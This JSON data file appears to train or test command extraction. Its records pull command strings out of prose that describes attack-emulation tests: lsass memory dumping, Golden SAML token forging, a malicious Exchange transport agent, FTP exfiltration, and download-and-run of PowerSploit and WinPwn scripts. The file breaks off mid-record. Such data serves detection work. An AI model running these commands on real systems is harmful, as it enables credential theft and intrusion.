    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique, seen in use by Turla, involves installing a transport agent with the following command after preparing the necessary DLL and executing from an Exchange Client Access Server:\nInstall-TransportAgent -Name #{transport_agent_identity} -TransportAgentFactory #{class_factory} -AssemblyPath #{dll_path}\nEnable-TransportAgent #{transport_agent_identity}\nGet-TransportAgent | Format-List Name,Enabled; This process forges a 'Golden SAML' token to impersonate any Azure AD user and authenticate to AADGraph, which can be done via the command: Import-Module AADInternals -Force\n$saml = New-AADIntSAMLToken -ImmutableID \"#{immutable_id}\" -PfxFileName \"#{certificate_path}\" -Issuer \"#{issuer_uri}\"\n$conn = Get-AADIntAccessTokenForAADGraph -SAMLToken $saml -SaveToCache\nif ($conn) { Write-Host \"`nSuccessfully connected as $($conn.User)\" } else { Write-Host \"`nThe connection failed\" }\nWrite-Host \"End of Golden SAML\"\n",
    "output": "{\"command_list\": [\"Install-TransportAgent -Name #{transport_agent_identity} -TransportAgentFactory #{class_factory} -AssemblyPath #{dll_path}\\nEnable-TransportAgent #{transport_agent_identity}\\nGet-TransportAgent | Format-List Name,Enabled\\n\", \"Import-Module AADInternals -Force\\n$saml = New-AADIntSAMLToken -ImmutableID \\\"#{immutable_id}\\\" -PfxFileName \\\"#{certificate_path}\\\" -Issuer \\\"#{issuer_uri}\\\"\\n$conn = Get-AADIntAccessTokenForAADGraph -SAMLToken $saml -SaveToCache\\nif ($conn) { Write-Host \\\"`nSuccessfully connected as $($conn.User)\\\" } else { Write-Host \\\"`nThe connection failed\\\" }\\nWrite-Host \\\"End of Golden SAML\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This process simulates encrypted file transfer to an FTP server via the command: $sampleData = \"Sample data for exfiltration test\"\nSet-Content -Path \"#{sampleFile}\" -Value $sampleData\n$ftpUrl = \"#{ftpServer}\"\n$creds = Get-Credential -Credential \"#{credentials}\"\nInvoke-WebRequest -Uri $ftpUrl -Method Put -InFile \"#{sampleFile}\" -Credential $creds\n; This script downloads an image and sets it as wallpaper, which you can execute with: $url = \"#{url_of_wallpaper}\"\n$imgLocation = \"#{wallpaper_location}\"\n$orgWallpaper = (Get-ItemProperty -Path Registry::'HKEY_CURRENT_USER\\Control Panel\\Desktop\\' -Name WallPaper).WallPaper\n$orgWallpaper | Out-File -FilePath \"#{pointer_to_orginal_wallpaper}\"\n$updateWallpapercode = @' \nusing System.Runtime.InteropServices; \nnamespace Win32{\n\n    public class Wallpaper{ \n        [DllImport(\"user32.dll\", CharSet=CharSet.Auto)] \n         static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; \n         \n         public static void SetWallpaper(string thePath){ \n            SystemParametersInfo(20,0,thePath,3); \n        }\n    }\n} \n'@\n$wc = New-Object System.Net.WebClient  \ntry{  \n    $wc.DownloadFile($url, $imgLocation)\n    add-type $updateWallpapercode \n    [Win32.Wallpaper]::SetWallpaper($imgLocation)\n} \ncatch [System.Net.WebException]{  \n    Write-Host(\"Cannot download $url\") \n    add-type $updateWallpapercode \n    [Win32.Wallpaper]::SetWallpaper($imgLocation)\n} \nfinally{    \n    $wc.Dispose()  \n}\n",
    "output": "{\"command_list\": [\"$sampleData = \\\"Sample data for exfiltration test\\\"\\nSet-Content -Path \\\"#{sampleFile}\\\" -Value $sampleData\\n$ftpUrl = \\\"#{ftpServer}\\\"\\n$creds = Get-Credential -Credential \\\"#{credentials}\\\"\\nInvoke-WebRequest -Uri $ftpUrl -Method Put -InFile \\\"#{sampleFile}\\\" -Credential $creds\\n\", \"$url = \\\"#{url_of_wallpaper}\\\"\\n$imgLocation = \\\"#{wallpaper_location}\\\"\\n$orgWallpaper = (Get-ItemProperty -Path Registry::'HKEY_CURRENT_USER\\\\Control Panel\\\\Desktop\\\\' -Name WallPaper).WallPaper\\n$orgWallpaper | Out-File -FilePath \\\"#{pointer_to_orginal_wallpaper}\\\"\\n$updateWallpapercode = @' \\nusing System.Runtime.InteropServices; \\nnamespace Win32{\\n\\n    public class Wallpaper{ \\n        [DllImport(\\\"user32.dll\\\", CharSet=CharSet.Auto)] \\n         static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; \\n         \\n         public static void SetWallpaper(string thePath){ \\n            SystemParametersInfo(20,0,thePath,3); \\n        }\\n    }\\n} \\n'@\\n$wc = New-Object System.Net.WebClient  \\ntry{  \\n    $wc.DownloadFile($url, $imgLocation)\\n    add-type $updateWallpapercode \\n    [Win32.Wallpaper]::SetWallpaper($imgLocation)\\n} \\ncatch [System.Net.WebException]{  \\n    Write-Host(\\\"Cannot download $url\\\") \\n    add-type $updateWallpapercode \\n    [Win32.Wallpaper]::SetWallpaper($imgLocation)\\n} \\nfinally{    \\n    $wc.Dispose()  \\n}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To verify the domain password policy, attempt to change the current user's password by executing the following command: $credFile = \"#{cred_file}\"\nif (Test-Path $credFile) {\n    $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n    if($cred.GetNetworkCredential().Password -eq \"#{new_password}\"){\n      Write-Host -ForegroundColor Yellow \"The new password is the same as the password stored in the credential file. Please specify a different new password.\"; exit -1\n    }\n    try {\n        $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force\n        Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword\n    }\n    catch { \n        $_.Exception\n        $errCode = $_.Exception.ErrorCode\n        Write-Host \"Error code: $errCode\"\n        if ($errCode -eq 86) {\n            Write-Host -ForegroundColor Yellow \"The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials\"\n            Remove-Item $credFile\n        }\n        exit $errCode\n    }\n    Write-Host -ForegroundColor Cyan \"Successfully changed the password to #{new_password}\"\n    $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString \"#{new_password}\" -AsPlainText -Force))\n    $newCred.Password | ConvertFrom-SecureString | Out-File $credFile\n}\nelse {\n    Write-Host -ForegroundColor Yellow \"You must store the password of the current user by running the prerequisite commands first\"\n}\n; This Atomic performs several actions in Google Cloud Platform, including creating a service account, generating a key, and then deleting it. The process can be executed with the following commands: \ngcloud config set project #{project_id}\nKEY=`gcloud iam service-accounts keys list --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --format=\"value(KEY_ID)\" --limit=1`\ngcloud iam service-accounts keys delete $KEY --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --quiet",
    "output": "{\"command_list\": [\"$credFile = \\\"#{cred_file}\\\"\\nif (Test-Path $credFile) {\\n    $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\\n    if($cred.GetNetworkCredential().Password -eq \\\"#{new_password}\\\"){\\n      Write-Host -ForegroundColor Yellow \\\"The new password is the same as the password stored in the credential file. Please specify a different new password.\\\"; exit -1\\n    }\\n    try {\\n        $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force\\n        Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword\\n    }\\n    catch { \\n        $_.Exception\\n        $errCode = $_.Exception.ErrorCode\\n        Write-Host \\\"Error code: $errCode\\\"\\n        if ($errCode -eq 86) {\\n            Write-Host -ForegroundColor Yellow \\\"The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials\\\"\\n            Remove-Item $credFile\\n        }\\n        exit $errCode\\n    }\\n    Write-Host -ForegroundColor Cyan \\\"Successfully changed the password to #{new_password}\\\"\\n    $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString \\\"#{new_password}\\\" -AsPlainText -Force))\\n    $newCred.Password | ConvertFrom-SecureString | Out-File $credFile\\n}\\nelse {\\n    Write-Host -ForegroundColor Yellow \\\"You must store the password of the current user by running the prerequisite commands first\\\"\\n}\\n\", \"gcloud config set project #{project_id}\\nKEY=`gcloud iam service-accounts keys list --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --format=\\\"value(KEY_ID)\\\" --limit=1`\\ngcloud iam service-accounts keys delete $KEY --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --quiet\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Using Sysinternals ProcDump, you can extract lsass.exe memory with the command: \"#{procdump_exe}\" -accepteula -ma lsass.exe #{output_file}; To dump the memory of lsass.exe for credential theft, you can use the built-in dll by running this command: C:\\Windows\\System32\\rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\\lsass-comsvcs.dmp full. A successful execution will create the file $env:TEMP\\lsass-comsvcs.dmp.",
    "output": "{\"command_list\": [\"\\\"#{procdump_exe}\\\" -accepteula -ma lsass.exe #{output_file}\\n\", \"C:\\\\Windows\\\\System32\\\\rundll32.exe C:\\\\windows\\\\System32\\\\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\\\\lsass-comsvcs.dmp full\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Information about the domain controller can be obtained by executing this PowerView command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainController -verbose; The test employs get-wmiobject to query Active Directory for Domain Controllers, with the command: try { get-wmiobject -class ds_computer -namespace root\\directory\\ldap -ErrorAction Stop }\ncatch { $_; exit $_.Exception.HResult }",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainController -verbose\\n\", \"try { get-wmiobject -class ds_computer -namespace root\\\\directory\\\\ldap -ErrorAction Stop }\\ncatch { $_; exit $_.Exception.HResult }\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The process involves downloading WinPwn and running its Snaffler function via the command:\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nSnaffler -noninteractive -consoleoutput; For detecting credentials in PowerShell event logs, run the powershellsensitive function with the command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\npowershellsensitive -consoleoutput -noninteractive",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nSnaffler -noninteractive -consoleoutput\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\npowershellsensitive -consoleoutput -noninteractive\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer 